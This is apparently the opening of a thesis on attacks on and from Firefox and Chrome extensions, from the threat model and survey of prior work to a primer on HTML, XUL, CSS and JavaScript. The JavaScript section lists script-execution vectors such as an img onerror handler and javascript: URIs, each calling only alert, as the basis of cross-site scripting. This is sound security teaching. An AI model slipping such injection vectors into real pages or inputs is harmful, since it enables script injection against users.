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i

Abstract
Browser extensions are extremely profitable targets for attackers due to their popularity and privileges. This
thesis examines both old and new attack techniques for Mozilla Firefox and Google Chrome to estimate
the effective state of security in modern extension systems. Previous research mostly focuses either on one
technique or one browser and therefore lacks the comprehensiveness of this work. By manually evaluating
extensions and presenting them in case studies, this thesis shows that all introduced attacks have real-world
applications. Additionally, a test suite has been developed to allow side-effect-free black-box testing of
extension systems. Overall, this thesis shows that the present mitigations are not sufficient to stop dedicated
attackers.
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1. Introduction

Since their introduction in Internet Explorer 41, browser extensions have risen to extreme popularity. With
roughly 20 million users on addons.mozilla.com, extensions like AdBlock Plus are widely used all
over the world. This popularity is not unique to Mozilla Firefox but extends to all other browsers with a
considerable market share. There is not a single widely used browser without an extension system. Most
notably, Google Chrome, currently leading the global browser usage statistics2, features a wide range of
extensions in its associated Chrome Web Store, some of them amassing over 10 million active users. Many
browser additions may not even be recognized as extensions by users. For example, depending on the browser,
themes as well as additional languages may just be extensions in disguise.

Their ubiquitous use, however, does not exclusively lead to benefits. Extensions have always been the
source of many browser stability and security issues. While their functionality may attract users, attackers are
equally attracted to the privileges they require to work properly. In contrast to websites, hijacked extensions
can be used to access internal browser Application Programming Interfaces (APIs) and potentially even
execute code on the victim’s host system. Both options can be highly restricted through permission systems
or other mitigations but an attacker may still be able to access multiple domains and, hence, multiply the
impact of a regular web attack. As severe as these attacks may be, vendors can only indirectly influence them
since many extensions actually need this access. Furthermore, few extensions are written by professionals,
leading to a situation where security best practices may not be followed at all times. The sheer number of
extensions further aids adversaries in finding viable targets for an attack. Thus, vulnerabilities are more likely
to be found in extensions than in the browser core itself, as the latter is subject to a full development process
including security reviews. This, in turn, leads to a situation where a user’s extensions are the easiest possible
target for an adversary attempting to do harm.

Attacks on extensions have therefore always been subject to both academic and non-academic research.
Finding and documenting attack techniques does not only help create awareness but also leads to fixes from
authors of vulnerable extensions and better mitigations from browser vendors. Browser vendors are in an
especially tough spot: Each major change to the underlying extension system requires most authors to update
their extensions – an endeavor which can take multiple years given the number of published extensions.
Moreover, the overall security can only be influenced indirectly by enforcing the use of safe APIs and
warning developers from potential hazards. Thus, each major change has to be tested very thoughtfully,
requiring a good understanding of the threats to such an extension system. External research has, for example,
influenced the modernization of Chrome’s extension system, leading to the mandatory use of Content Security
Policy (CSP).

This thesis describes old and new attacks on extensions of Mozilla Firefox and Google Chrome. Since
extension systems are constantly evolving, this thesis re-evaluates old attacks and determines their impact
in presence of modern mitigations. All techniques have been generalized so that they can be adapted to a
wide range of possible bugs. In order to show the real-world applicability of the attacks, this thesis contains
case studies for most bug classes. Furthermore, in addition to attacks on extensions, this thesis also examines

1MSDN. About Browser Extensions. URL: https://msdn.microsoft.com/en-us/library/aa753620(v=vs.
85).aspx.

2StatCounter. Top 5 Desktop Browsers from Aug 2012 to Sept 2015. Sept. 2015. URL: http://gs.statcounter.com/
#browser-ww-monthly-201511-201601.

addons.mozilla.com
https://msdn.microsoft.com/en-us/library/aa753620(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa753620(v=vs.85).aspx
http://gs.statcounter.com/#browser-ww-monthly-201511-201601
http://gs.statcounter.com/#browser-ww-monthly-201511-201601
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attacks from extensions. There are two reasons for this: First, estimating the impact of vulnerabilities in lesser
privileged extensions is extremely hard without knowing about the potential dangers of follow-up attacks.
Second, using lesser known extension types may be a viable attack in itself. Luring a victim into installing a
language package might be much easier than attempting to make a regular extension look harmless.

A test suite accompanies this thesis. It mainly tests the browser’s underlying extension system and can
be used to verify all findings. Furthermore, if used against future versions of Firefox and Chrome, it will
determine which behavior might still be exploitable and, thus, may serve as a starting point for future research.

1.1. Threat Model

In general, this thesis differs between four attacker models:

• Unrestrained local attackers are the strongest adversaries an extension system can face. This includes
locally running malware as well as physical access to computer and host system. In most cases it is not
feasible to protect extensions in this scenario as the whole operating system could be compromised.
Therefore, this thesis will not deal with this type of attacker, implying that it can perform all attacks the
weaker models can in addition to more powerful ones.

• Restrained local attackers do not have full control of the host system and might be confined by a
sandbox. Malicious extensions, for instance, may have restricted capabilities due to security policies
enforced by the browser. Furthermore, instead of executing them, some adversaries may only be able
to place files on the hard drive. Any scenario involving restrained access to the host system is part of
this attacker model.

• Network attackers may perform Man-in-the-Middle (MitM) attacks to monitor, intercept and modify
network traffic of the victim. Among other ways, insufficiently protected wireless networks offer
adversaries the possibility to perform such attacks [Arb+02]. In extensions, any resource loaded over
the Hypertext Transfer Protocol (HTTP) may be subject to manipulation if a network attacker is present
because the protocol does not offer data authenticity.

• Web attackers can only lure victims to controlled domains and are limited to normal web content for
an attack. This is the weakest but most common attacker model. Possibilities of luring victims to a
website include social engineering, buying advertisements on high-traffic domains, and hijacking other
sites by abusing vulnerabilities.

1.2. Organization

A recurring idea in the remainder of this thesis is the distinction between attacks on and attacks from
extensions. The first Chapter following this outline is Chapter 2. It introduces all related academic and
non-academic work in the field of extension security. After establishing the state of research, Chapter 3
briefly explains the fundamentals required to understand this thesis. The extension systems of Mozilla Firefox
and Google Chrome are introduced in Chapter 4 with a special focus on their security properties. Further
facts about the extension systems are derived from a test suite described in Chapter 5. It documents quirky
behavior in the context of extensions which is important for the two following chapters: Chapter 6 gives
insight into attacks on extensions, whereas Chapter 7 focuses on attacks from extensions. Finally, Chapter 8
wraps up the examination of both extension systems and draws a conclusion.



2. Related Work

Browser extensions are the subject of many publications, in both academic and non-academic fields. As
established in the introduction (cf. Chapter 1), the following chapters cover both attacks on and attacks from
extensions. In order to maintain this organization, related work will be arranged in those two categories, too.
Thus, Section 2.1 first introduces the attack classes targeting extensions. As they represent a significant body
of research, defensive proposals are explained in this Section, too. Finally, Section 2.2 then focuses on attacks
from extensions.

2.1. Attacks on Extensions

Various attack techniques have been found over time, each with its own goals, scenarios and severity.

• Fingerprinting. Knowing the extensions a victim has installed can be used to discriminate users and
mount highly targeted attacks [AFO14]. As researchers such as Ongaro1, Kouzemtchenko2, Kettle3

and Kotowicz4 have repeatedly shown, it was possible to fingerprint Chrome and Firefox extensions in
the past.

• Cross-Context Scripting. Injecting content into a high-privilege context such as an extension can lead
to total compromise of the victim. The term Cross-Context Scripting was initially coined by Petkov in
2006, when a fellow researcher found a security bug in a Firefox extension5. In the following years,
presentations6 and white papers [Liv10; KO12] advanced the understanding of the attack.

• Cross-Site Request Forgery. Similar to regular web sites, extensions may be forced into executing
actions without the user’s consent. Kotowicz and Osborn establish this attack in the same white paper
explaining Cross-Context Scripting in Chrome [KO12].

• Extension System Exploitation. As extension systems are part of the large browser ecosystem, they
are impacted by many of the flaws present in browser implementations. For example, a Google Chrome
bug allowed Karlsson to disable security-relevant extensions such as HTTPS Everywhere7.

1Francesco Ongaro. Detect NoScript POC. Oct. 2007. URL: http://www.ush.it/2007/10/11/detect-noscript-
poc/.

2Alex Kouzemtchenko. Detecting Firefox Extensions Without Javascript. Oct. 2007. URL: http://kuza55.blogspot.co.
uk/2007/10/detecting-firefox-extension-without.html.

3James Kettle. Sparse Bruteforce Addon Detection. July 2011. URL: http://www.skeletonscribe.net/2011/07/
sparse-bruteforce-addon-scanner.html.

4Krzysztof Kotowicz. Intro to Chrome addons hacking: fingerprinting. Feb. 2012. URL: http://blog.kotowicz.net/
2012/02/intro-to-chrome-addons-hacking.html.

5Petko D. Petkov and David Kierznowski. Cross Context Scripting with Sage. Sept. 2006. URL: http://www.gnucitizen.
org/blog/cross-context-scripting-with-sage.

6Alex Kouzemtchenko. Attacking Rich Internet Applications. Dec. 2008. URL: https://events.ccc.de/congress/
2008/Fahrplan/events/2893.en.html.

7Mathias Karlsson. How I disabled your Chrome security extensions. July 2015. URL: http://labs.detectify.com/
post/125256364141/how-i-disabled-your-chrome-security-extensions.

http://www.ush.it/2007/10/11/detect-noscript-poc/
http://www.ush.it/2007/10/11/detect-noscript-poc/
http://kuza55.blogspot.co.uk/2007/10/detecting-firefox-extension-without.html
http://kuza55.blogspot.co.uk/2007/10/detecting-firefox-extension-without.html
http://www.skeletonscribe.net/2011/07/sparse-bruteforce-addon-scanner.html
http://www.skeletonscribe.net/2011/07/sparse-bruteforce-addon-scanner.html
http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html
http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html
http://www.gnucitizen.org/blog/cross-context-scripting-with-sage
http://www.gnucitizen.org/blog/cross-context-scripting-with-sage
https://events.ccc.de/congress/2008/Fahrplan/events/2893.en.html
https://events.ccc.de/congress/2008/Fahrplan/events/2893.en.html
http://labs.detectify.com/post/125256364141/how-i-disabled-your-chrome-security-extensions
http://labs.detectify.com/post/125256364141/how-i-disabled-your-chrome-security-extensions
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Although modern extension architectures promote strong security principles [Bar+10], studies regularly
find vulnerabilities due to developer mistakes [CFW12; Kar+12; Wan+12]. Not surprisingly, augmented
browsing scripts with lower security standards face even more security-critical weaknesses [Ack+14]. There
are multiple proposals to combat the current situation.

• Prevention. Eradicating all vulnerabilities before an extension has been deployed to users solves
the problems arising from the accompanying privilege escalation. However, available development
tools clearly do not prevent developer mistakes, which is why some research projects attempt to
solve this issue. Static security analysis is suggested by multiple researchers to find flaws during
development [Ban+10; Cal+15]. In order to avoid extensions jeopardizing private browsing sessions,
Lerner et al. suggest adding type annotations to potentially unsafe calls [Ler+13].

• Detection. Detecting attacks while they are happening would give browsers the possibility to stop
them. Djeric et al. propose taint tracking to achieve this goal [DG10]. Similarly, Dhawan et al. track
information flows leaking sensitive data [DG09]. Avoiding dynamic analysis altogether, Barua et
al. rely on offline code transformation such that the extension’s code is distinguishable from the
adversary’s injected code [BZW13].

• Mitigation. If an attack could not be prevented or detected, it may still be kept from doing harm.
Protections limiting the impact of vulnerabilities are called mitigations. Marouf et al. evaluate a
fine-grained permission system called REM, which attempts to give users more control over their
extensions’ behavior [MSD12]. However, as Felt et al. point out, too many permission requests hinder
the user’s ability to separate benign from malicious behavior [FGW11]. Avoiding this pitfall, Guha et
al. developed a specification language for policies and a static analysis tool to test extensions written in
Fine, a dialect of the general-purpose programming language ML, against these policies [Guh+11].

2.2. Attacks from Extensions

In comparison to the previous Section, there is little research about attacks from extensions. However, the
existing papers can be categorized as follows:

• Privileged Code Execution. Immediate consequences of Cross-Context Scripting attacks in Firefox,
such as code execution, password stealing and privacy leaks, have been documented by Liverani and
Freeman [LF10]. In terms of Chrome extensions, Kotowicz’ exploitation framework called XSS CHEF
exhibits similar capabilities8. Rauti et al. use extensions to mount Man-in-the-Browser attacks, which
pose a long-time threat to the victim’s private data [RL12].

• Extension-Reuse Attacks. This kind of attack has been proven to work in Mozilla Firefox by
Buyukkayhan et al. [Buy+16] due to lack of isolation between extensions. It disguises malicious
intentions of an installed add-on by reusing code of other currently active extensions to avoid detection.

• Private Mode Leaks. While not an actual attack, the work of Aggarwal et al. [Agg+10] shows that
many flawed extensions undermine the expectations of users by leaving traces during a private browsing
session. Obviously, the same or even greater dangers apply when malicious extensions are present.

8Krzysztof Kotowicz. XSS ChEF - Chrome Extension Exploitation Framework. URL: https://github.com/koto/
xsschef.

https://github.com/koto/xsschef
https://github.com/koto/xsschef
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• Malware. Installing malicious software can be one of the long-term consequences of a successful
attack. While this thesis merely hints at the possibility of using malware, there is a wide range of
research dedicated to this form of post-exploitation phase. Ter Louw et al. show the effectiveness of
browser malware using BROWSERSPY, a Firefox extension able to leak highly sensitive data and hide
itself from the victim [TLV07; TLV08]. Additionally, browser extension botnets have been found to be
extremely effective by Liu et al. due to powerful APIs and automatic update mechanisms [LZC11].
In summary, malicious extensions are considered tremendously dangerous in various papers [Liu+12;
WF09]. Thus, many researchers focus on detecting browser malware through means of static and
dynamic analysis [Kir+06; Kap+14].



3. Fundamentals

Starting with the HyperText Markup Language, this Chapter explains the fundamentals essential for under-
standing the next chapters. The first paragraph of each section provides a general description, followed by a
short summary of the history. Additionally, the context regarding to other technologies or attacks is explained.
If applicable, descriptions of the syntax as well as examples are given in subsections.

Two markup languages are introduced at the beginning of this chapter, namely the HyperText Markup
Language in Section 3.1 and the Extensible Markup Language in Section 3.2. An overarching concept for
both languages is the Document Object Model, explained in Section 3.3. Section 3.4 describes Cascading
Style Sheets, immediately followed by JavaScript in Section 3.5. In Section 3.6, the Same-Origin Policy is
established as an essential security boundary, which the following attack classes in Section 3.7 (Cross-Site
Scripting) and Section 3.8 (Clickjacking) attempt to overcome. Finally, the two browsers covered in this thesis
are introduced in Sections 3.9.1 and 3.9.2, along with a general description of web browsers in Section 3.9.

3.1. HyperText Markup Language

Markup languages, like the HyperText Markup Language (HTML), are one of the core concepts of the
web. Instead of defining how to process data, markup languages can only structure it. Given this structure,
programs are able to reason about the contents of the data. A browser, for example, interprets markup code
and renders it to the screen.

In the early days of the World Wide Web in 1992, HTML was already used to structure documents shared
between users1. Hence, the term document is still commonly used when describing units of HTML code
despite the interactivity of modern websites. In spite of its Standard Generalized Markup Language (SGML)
heritage, the first draft offered no formal specification of the language. The first HTML standard was
released as HTML 2.0 in Request for Comments (RFC) 1866 [BC95]. As browsers implemented features
beyond the RFC, the World Wide Web Consortium (W3C) was formed to govern the development of HTML.
Further development of the language lead to HTML 3.2 [Rag97], HTML 4.0 [RLJ97] and, subsequently,
HTML 4.1 [RLJ99]. These proposals introduced multiple new features. Frames, for example, were introduced
by HTML 4 and allow developers to embed other websites in an HTML document. As the W3C decided
to shift its focus to Extensible Markup Language (XML)-based standards, a group of browser vendors
formed the Web Hypertext Application Technology Working Group (WHATWG) to create a new revision
of HTML [Hic; Zal12]. These efforts resulted in the HTML5 specification [Hic+14], forming the most
up-to-date description of HTML at the point of this writing.

Syntax

HTML is strictly hierarchical and consists of tags, attributes, comments, and text. Yet, other forms of
markup and code can be embedded, many of them with powerful features and different syntax [Hei+11a].

1Tim Berners-Lee. World Wide Web. 1992. URL: http://www.w3.org/History/19921103- hypertext/
hypertext/WWW/TheProject.html; Tim Berners-Lee. HTML. 1992. URL: http://www.w3.org/History/
19921103-hypertext/hypertext/WWW/MarkUp/MarkUp.html.

http://www.w3.org/History/19921103-hypertext/hypertext/WWW/TheProject.html
http://www.w3.org/History/19921103-hypertext/hypertext/WWW/TheProject.html
http://www.w3.org/History/19921103-hypertext/hypertext/WWW/MarkUp/MarkUp.html
http://www.w3.org/History/19921103-hypertext/hypertext/WWW/MarkUp/MarkUp.html


CHAPTER 3. FUNDAMENTALS 7

Furthermore, Document Type Declarations (DTDs) may be present at the start of a document to set the correct
mode.

• Tags are enclosed by angle brackets (U+003C and U+003E). Normally, each tag has to be closed with
a matching tag, prefixed by a forward slash (U+002F). However, there are standalone tags which do not
require a closing pair. An example for the former would be <script></script>, while <input>
does not need a closing tag in HTML5. Each tag embodies an element with semantic meaning. For
instance, the h1-element is expressed by the <h1></h1> tags and represents a heading.

• Attributes add parameters to tags. For instance, the href attribute defines a target for an <a> tag,
telling the browser not only to display a hyperlink but also where to point it. Attributes are key value
pairs, each key separated by the equals sign (U+003D) from the value. Values can be delimited by
single or double quotes (U+0027 and U+0022). Each tag can have multiple attributes, separated by
whitespace or forward slashes.

• Comments in HTML start with an opening angle bracket, followed by an exclamation mark (U+0021)
and two dashes (U+002d). They are closed by two dashes and a closing angle bracket. As the nature
of a comment suggests, any content is not rendered to the page.

• Text is a value which does not belong to a tag but may be enclosed by one. It represents the actual
textual content of a HTML document.

In contrast to XML-based standards, HTML is well known for its lax parsing rules. Unclosed tags, unknown
attributes and unbalanced quotes are faithfully parsed by modern layout engines. Naturally, this leads to
differences in browser implementations which have been used to evade filters or obfuscate markup [Hei+11b].

Example

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Exemplary HTML document</title>
5 </head>
6 <body>
7 <!-- This is a comment. -->
8 <p>This is a paragraph.</p>
9 <a href="https://rub.de/">This is a link.</a>

10 </body>
11 </html>

Listing 3.1: Exemplary HTML document

Listing 3.1 highlights the hierarchical, nested structure of HTML. It starts with a HTML5 DTD instructing
browsers to use the correct parser. Apart from this declaration, everything is either explicitly (as shown in
this example) or implicitly wrapped in an html element. Similarly, meta information is generally specified
in head, while all visible content resides in body. Thus, the page title is not displayed on the website but
rather in the tab bar of the browser.
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3.2. Extensible Markup Language

Similarly to HTML, the Extensible Markup Language (XML) structures data for humans and programs alike.
In contrast to HTML, parsers are required to follow very strict syntax rules and extensibility is built in to the
language. Due to the latter fact, many markup languages are developed as XML dialects, such as Scalable
Vector Graphics (SVG) [Dah+11].

Figure 3.1.: XML ancestry

As Figure 3.1 shows, SGML is the ancestor to both XML
and HTML. This intertwined history continued when the W3C,
initially formed to govern the HTML specification, started to
take interest in other standards concerning the web. In 1998, the
first XML specification was released [BPS98]. Each change to
the standard resulted in a new edition, the fifth edition being the
newest revision to date [Bra+08]. Although the W3C published
XML 1.1 in 2004, it is still updating the first XML specification.
Among the reasons for a new version of the standard were
incompatible changes to the way parsers have to treat Unicode
in names [Bra+04].

As hinted in Figure 3.1, several XML dialects are important
to this work and will be explained in the subsequent sections. Section 3.2.1 summarizes the Extensible
HyperText Markup Language and Section 3.2.2 the XML User Interface Language. Finally, an overview of
the XML Binding Language is given in Section 3.2.3.

Syntax

Due to XML and HTML both being based on SGML, the syntax looks similar. However, XML does not
define tags with semantic meaning, it only serves as a framework for developers to define their own domain-
specific languages in. Furthermore, XML code has to be well-formed: Every tag, for instance, has to be
closed. This also includes standalone tags which are required to have a forward slash at the end. In addition
to the data types of Section 3.1 (tags, attributes, comments and text) XML most notably features namespaces,
allowing different dialects to be mixed in the same document. Each namespace has a unique Uniform
Resource Identifier (URI) and can be defined in two ways:

• Regular namespaces are defined using the xmlns attribute, followed by a colon (U+003A) and a
name. This name has to be used in front of all tag names belonging to the namespace. For instance,
xmnlns:xul creates a namespace with the prefix xul. Any tag with this prefix is part of the
namespace (e.g. <xul:dialog>...</xul:dialog).

• Default namespaces are defined using the xmlns attribute without a prefix. They apply to the element
they are defined on and all of its children. If, however, child nodes define their own namespace or have
a prefix, they do not belong to the default namespace.
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Example

1 <?xml version="1.0" encoding="UTF-8" ?>
2 <foo xmlns="http://uri/to/ns" xmlns:x="http://uri/to/another/ns">
3 <!-- This, again, is a comment. -->
4 <bar>
5 This is text content.
6 </bar>
7 <x:baz />
8 </foo>

Listing 3.2: Exemplary XML document

Listing 3.2 starts with an XML declaration. It contains meta information such as the XML version and the
encoding of the document. The foo element wraps all other tags and declares two namespaces – a default
one and x. Parsers will ignore the comment and find two children, one being a standalone tag. In XML, every
tag can be a standalone tag as long as it has no children.

3.2.1. Extensible HyperText Markup Language

The W3C initially pursued the Extensible HyperText Markup Language (XHTML) as an evolution and
replacement for HTML 4. During the development of XHTML 2, the WHATWG formed and published
HTML5, making the future of the standard uncertain (cf. Section 3.1). XHTML uses strict XML syntax, but
closely resembles HTML 4 in many other aspects, such as document types.

1 <?xml version="1.0"?>
2 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
3 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
5 <head>
6 <title>Exemplary XHTML document</title>
7 </head>
8 <body>
9 <p>This is a paragraph.</p>

10 </body>
11 </html>

Listing 3.3: Exemplary HTML document

Listing 3.3 starts with an XML declaration which is needed for a valid strict XHTML document. The next
line defines the document to be XHTML 1 Strict. Then, the XHTML namespace is set to be the default and
seemingly normal HTML markup follows.

3.2.2. XML User Interface Language

At the time of this writing, most of the user interface of Mozilla Firefox is declared in the XML User Interface
Language (XUL)2. Hence, many Firefox extensions make broad use of XUL and its features. In comparison
to HTML it lacks comprehensive formal specification, even though there was a specification attempt in 19993.

2MDN. XUL. Apr. 2014. URL: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL.
3Mozilla. XUL Language Spec. Aug. 1999. URL: http://www-archive.mozilla.org/xpfe/languageSpec.html.

https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL
http://www-archive.mozilla.org/xpfe/languageSpec.html
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While in early versions of Firefox, website authors were able to use XUL, it was disabled after security
concerns arose4.

1 <?xml version="1.0"?>
2 <?xml-stylesheet href="chrome://pathto/skin/stylesheet.css"?>
3 <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
4 title="&namespace.entity;">
5 <script type="application/javascript"
6 src="chrome://pathto/content/script.js" />
7 <vbox>
8 <description>&namespace.textlabel;</description>
9 </vbox>

10 </dialog>

Listing 3.4: Exemplary XUL document

Listing 3.4 shows a simplified dialog box from the Firefox user interface. It starts with an XML declaration
and a stylesheet (cf. Section 3.4) before the first XUL tag is opened. All XUL markup is part of a unique names-
pace (http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul). Addi-
tionally, this namespace allows access to localized strings through the use of entities. Similar to HTML, XUL
has the ability to include external JavaScript code using script tags, as can be seen in line 5.

3.2.3. XML Binding Language

The XML Binding Language (XBL) is a Mozilla technology used to supplement XUL5. It can define reusable
components and bind them to markup. Stylesheets (cf. Section 3.4) are used to map a XBL binding to a
corresponding XUL element. While it has a comprehensive reference, Mozilla’s documentation refers to
the actual implementation as “different from the specification, and there’s no known document available
describing the differences”6.

1 <?xml version="1.0"?>
2 <bindings xmlns="http://www.mozilla.org/xbl"
3 xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
4 <binding id="buttons">
5 <content>
6 <xul:button label="Button 1"/>
7 <xul:button label="Button 2"/>
8 </content>
9 </binding>

10 </bindings>

Listing 3.5: Exemplary XBL code (example.xml)

4Jesse Ruderman. Bug 546857 – (kill-remote-xul) Drop support for XUL on web sites (remote XUL). Dec. 2014. URL: https:
//bugzilla.mozilla.org/show_bug.cgi?id=546857.

5MDN. XBL. URL: https://developer.mozilla.org/en-US/docs/XBL.
6MDNc.

https://bugzilla.mozilla.org/show_bug.cgi?id=546857
https://bugzilla.mozilla.org/show_bug.cgi?id=546857
https://developer.mozilla.org/en-US/docs/XBL
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1 selector {
2 -moz-binding: url('chrome://example/skin/example.xml#buttons');
3 }

Listing 3.6: Style sheet embedding the XBL code

Listing 3.5 shows a XBL binding which groups two XUL buttons together. As the hierarchical structure
suggests, there can be more than one binding in a file. These two buttons can be bound to a XUL element
with the Cascading Style Sheets (CSS) code presented in Listing 3.6. The -moz-binding property sets
the element to the content of the binding.

3.3. Document Object Model

In order to allow access to parsed markup from general programming languages, the Document Object
Model (DOM) concept was developed. Utilizing the hierarchical structure of XML and HTML, all elements
of the markup are represented by nodes in a tree. Attributes can be read and written via properties of the node
objects. Furthermore, elements of the tree can be added, deleted or replaced, allowing full control over the
document.

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Title...</title>
5 </head>
6 <!-- comments are ignored -->
7 <body>
8 Text...
9 </body>

10 </html>

Listing 3.7: HTML before parsing Figure 3.2.: Resulting DOM

The markup in Listing 3.7 serves as an example of DOM tree creation. After parsing, the code is
transformed to the data structure seen in Figure 3.2. While the DTD and comment are left out, all other
elements are represented in the tree. The document node is the implicit root element, having only html as a
child. Both leaf nodes are text nodes, indicated by their rounded corners.

3.4. Cascading Style Sheets

Cascading Style Sheets (CSS) allow separation of visual styling and layout from structure. The language
allows granular selection of elements and applies presentation rules to them. Instructions of a style sheet can
be overwritten by more specific ones, hence forming a cascade of style information. Following the separation
of concerns principle, CSS facilitates re-usability, as rules can be defined in external files and included across
markup languages.

Its first proposal dates back to 1994 and exclusively focuses on styling HTML7. Following work builds on
7Håkon Wium Lie. Cascading HTML style sheets – a proposal. Oct. 1994. URL: http://www.w3.org/People/howcome/
p/cascade.html.

http://www.w3.org/People/howcome/p/cascade.html
http://www.w3.org/People/howcome/p/cascade.html
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the core ideas of the first proposal but features a slightly different syntax: The CSS level 1 specification was
released in 1996 [LB96]. Level 2 of the specification followed two years later [Bos+98] and was superseded
by CSS 2.1 as a W3C Recommendation in 2011 [Bos+11]. CSS3, however, was not released as a big, single
specification but split into multiple independent modules [Çel+11; Lie+12]. This modular system is being
used for CSS4, too8.

Syntax

CSS syntax consists of four main components – selectors, declarations, at-rules and comments. A selector
with its block of declarations is called a rule or rule set. However, an at-rule is a free-standing rule without a
selector.

• Selectors precisely define the set of elements which are to be styled by the following block of
declarations. Distinctive features of nodes, like, for example, their tag name, identifier or class name,
can be used to select a subset of a document. However, not only attributes can be utilized to match
elements but also their state. Pseudo-classes allow access to nodes which, for instance, have a mouse
pointer hovering over them. Hence, selectors define very dynamic groups of elements which may
change due to external events.

• Declarations tell the renderer the exact style to apply and are always arranged in blocks. Each block
is started by an opening curly brace (U+007B) and ended by a closing curly brace (U+007D). A
non-empty declaration has two elements, both separated by a colon (U+003A): The property name
declares the property to be changed by the property value. If multiple declarations are present in a
block, they have to be separated by a semicolon (U+003B).

• At-rules start with an at sign (U+0040) and have very distinctive semantics. The @import rule,
for example, includes external style sheets while the @font-face rule defines new fonts for the
document [Dag13].

• Comments are started by a forward slash (U+002F) and an asterisk (U+002A) and ended by the same
combination in reverse order. Naturally, they are ignored by CSS parsers.

Generally, CSS is explicitly declared in the markup it is used. It is noteworthy that HTML 4.01 accepts
style sheets from HTTP headers, too [RLJ99]. However, a HTML developer will normally use style tags,
style attributes or external style sheets to embed CSS.

1 <style>/* ... CSS code ... */</style>

Listing 3.8: Embed style sheets via style tags

• Style tags, as shown in Listing 3.8, allow CSS syntax to be mixed with the surrounding HTML code.
Obviously, this limits re-usability since the rules cannot be easily included by other files.

1 <p style="/* ... CSS declarations ... */">text</p>

Listing 3.9: Embed declarations via style attributes

8Elika J. Etemad et al. Selectors Level 4. Sept. 2011. URL: http://www.w3.org/TR/2011/WD-selectors4-
20110929/.

http://www.w3.org/TR/2011/WD-selectors4-20110929/
http://www.w3.org/TR/2011/WD-selectors4-20110929/
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• Style attributes lack selectors as they immediately apply to the element they are defined on. Listing 3.9
shows a p tag with an accompanying style attribute. Style attribute declarations take precedence over
other rules.

1 <link rel="stylesheet" href="path/to/file.css">

Listing 3.10: External CSS via link tag

• External style sheets are shown in Listing 3.10. As soon as the parser encounters this HTML tag, the
external file is fetched from the (possibly remote) server. Additionally, this type of inclusion allows the
programmer to define the media types this style sheet is meant for. As this example has no media type
explicitly set, it will be loaded in all cases.

Example

1 @import url("https://rub.de/imported.css");
2 * { color: white; width: 100px; }
3 #id-selector { color: red; }
4 .class-selector { color: orange; }

Listing 3.11: Exemplary style sheet

Listing 3.11 starts with an at-rule which imports a style sheet from the rub.de domain. All rules of that file
will be active for the document this style sheet has been included in. A special wild card selector is following
the at-rule. It matches all of the document’s elements and sets their text color to white and the width to 100
pixels. The next element is selected by its identifier and, then, another element by its class name.

3.5. JavaScript

In contrast to domain-specific languages like HTML and CSS, JavaScript is a general purpose programming
language. It is highly dynamic and allows developers to react to user input and change the DOM. Every
major browser is able to natively interpret JavaScript code, making it ubiquitous on the client-side of modern
web applications9. Additionally, projects like node.js enable server-side usage of the language10. Due to
being one of the most powerful features of a browser, many attacks focus on script execution (cf. Section 3.7).

JavaScipt was introduced by the Netscape Corporation in 1995 [Zal12]. As the popularity of the language
grew, Microsoft implemented it in Internet Explorer alongside with its own competitor VBScript11. An
independent standards body, the European Computer Manufacturers Association (ECMA), took over the
language specification in 1997, under the name ECMAScript. The newest revision of the standard, called
ECMAScript 6 Harmony, has been released in June 2015 [Int15].

Syntax

As JavaScript features a rather complex syntax, it will not be described here. However, executing the
adversary’s code is the goal of many attacks, so this section will list all the ways of code execution. Apart

9W3Techs. Usage of JavaScript for websites. Dec. 2015. URL: http://w3techs.com/technologies/details/cp-
javascript/all/all.

10Node.js Foundation. Node.js. 2015. URL: https://nodejs.org/en/.
11Steve Champeon. JavaScript: How Did We Get Here? June 2001. URL: http://archive.oreilly.com/pub/a/

javascript/2001/04/06/js_history.html.

http://w3techs.com/technologies/details/cp-javascript/all/all
http://w3techs.com/technologies/details/cp-javascript/all/all
https://nodejs.org/en/
http://archive.oreilly.com/pub/a/javascript/2001/04/06/js_history.html
http://archive.oreilly.com/pub/a/javascript/2001/04/06/js_history.html
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from quirks and legacy methods (like dynamic properties12), there are four kinds JavaScript execution.

1 <script>alert('automatically executed inline code')</script>
2 <script src="path/to/external-code.js"></script>

Listing 3.12: Two ways of embedding JavaScript in HTML via script tags

• Script tags, as shown in Listing 3.12, are directly executed without any user interaction. The first line
features inline code which is embedded directly in the surrounding markup. Another way of including
JavaScript is shown in the second line: Due to the src attribute, the browser is instructed to load code
from an external source.

1 <button onclick="alert('executed on click')">
2 <img src="x" onerror="alert('executed on image load failure')">

Listing 3.13: Example of event handlers on tags

• Event handlers are shown in Listing 3.13. Attributes starting with on react to occurrences of events.
The first line shows a button which executes code when clicked. In the second line, the image source is
set to the (most likely nonexistent) destination x and, if the response cannot be interpreted as an image,
the onerror event handler will be fired.

1 <a href="javascript:alert('executed on click')">
2 <iframe src="javascript:alert('executed automatically')"></iframe>

Listing 3.14: JavaScript pseudo protocol

• JavaScript pseudo protocol links, as shown in Listing 3.14, are applicable in many attributes which
allow URIs. Most notably, links can point to such a handler and will execute the associated code
when clicked. Clicking, however, is not always necessary: The second line shows an iframe element
pointing to a javascript URI. It will be immediately executed in the context of the embedding site
without requiring any user interaction. Not all elements can be used in conjunction with the JavaScript
pseudo protocol: Some tags, such as img, prevent script execution altogether.

1 eval('alert("executed automatically")')

Listing 3.15: Call to eval

• Eval calls pass strings to the JavaScript engine for dynamic interpretation. In Listing 3.15, alert will
be executed despite it being a string literal.

Example

1 var xhr = new XMLHttpRequest();
2 xhr.onload = function() {
3 console.log(xhr.responseText);
4 };
5 xhr.open('GET', 'some/uri/path', true);
6 xhr.send(null);

Listing 3.16: Exemplary JavaScript code sending a request
12MSDN. About Dynamic Properties. Dec. 2011. URL: https://msdn.microsoft.com/en- us/library/

ms537634(v=vs.85).aspx.

